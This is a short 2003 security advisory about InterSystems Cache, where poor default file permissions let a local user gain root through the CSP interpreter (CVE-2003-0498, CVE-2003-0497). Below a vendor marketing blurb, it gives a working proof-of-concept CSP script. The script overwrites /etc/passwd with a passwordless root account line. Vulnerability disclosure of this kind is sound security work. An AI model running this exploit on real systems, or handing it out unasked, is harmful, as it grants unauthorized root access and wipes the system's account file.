Cache Database Poor File Permissions Lead To Local Root

#782 · 2003-03-11

CVE ID(s): CVE-2003-0498, CVE-2003-0497

Notified: 2003-03-11

Description:

Cache', the post-relational database for e-applications, is optimized for the tougher demands of Web applications. It delivers breakthrough performance for massively scalable Web applications. Its rapid application development environment with advanced object technology lets you operate at Internet speed. Cache's ultra-fast SQL outperforms relational systems 20X. And its multidimensional application and data server delivers lightning-fast performance.

Exploit:

Intersystems Cache local root exploit. Larry W. Cashdollar http://vapid.dhs.org

Because of poor default file and directory permissions a localuser can execute code as root via the cache CSP interpreter. <HR> Attempting to overwrite /etc/passwd with cache::0:0:root:/root:/bin/bash.
filename ->  cspexp.csp

<script language=Cache runat=server>

     Set cdef=##class(%Library.File).%New("/etc/passwd")
     Do cdef.Open("WSN")
     Do cdef.WriteLine("cache::0:0:root:/root:/bin/bash")
     Do cdef.%Close()
</script>

Download: http://www.intersystems.com/our-products/cache/cache-overview/

URL: http://www.vapid.dhs.org/advisories/cache_database_file_permissions.html